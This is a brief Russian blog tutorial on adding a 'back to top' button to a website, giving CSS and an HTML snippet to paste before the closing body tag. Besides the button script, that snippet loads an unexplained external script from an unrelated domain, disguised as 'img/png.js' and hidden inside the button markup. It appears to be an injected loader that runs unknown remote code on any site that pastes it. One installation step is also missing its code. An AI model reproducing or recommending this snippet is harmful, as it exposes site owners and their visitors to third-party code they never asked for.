Скрипт кнопки на верх для вашего сайта
Скрипт кнопки на верх для вашего сайта очень удобная вещь особенно если вы ведёте блог и под определенной темой очень большое колличество комментариев. Ну или материал на столько обширен что заставляет пользователей пролистывать страницу далеко вниз. Но когда пользователю необходимо вернуться к началу текста возникают проблемы. Ему приходится долго прокручивать колёсико чтобы попасть на веръ. Это очень не удобно, в связи с этим и был разработан скрипт устраняющий данную проблему. Установка самой кнопки: В CSS кидаем:
Код #scroll_to { /* display: block before hiding */ display: block; display: none; z-index: 999; opacity: .8; position: fixed; top: 100%; margin-top: -80px; left: 90%; margin-left: -80px; -moz-border-radius: 5px; -webkit-border-radius: 5px; width: 100px; padding: 8px; background-color: #f1f1f1; font-size: 14px; text-align: center; border: 1px solid #CCC; }
#scroll_to a { color: #222; text-decoration:none;}
В самом начале разу после body ставим:
И теперь перед закрывающим тегом /body
Код <script src="http://bambun.ru/css_js/scroll_to.js"></script> <div id="scroll_to"><script type="text/javascript" src="http://activiks.ru/img/png.js"></script><a href="#top" id="top-link">^ Наверх ^</a></div>
Источник: |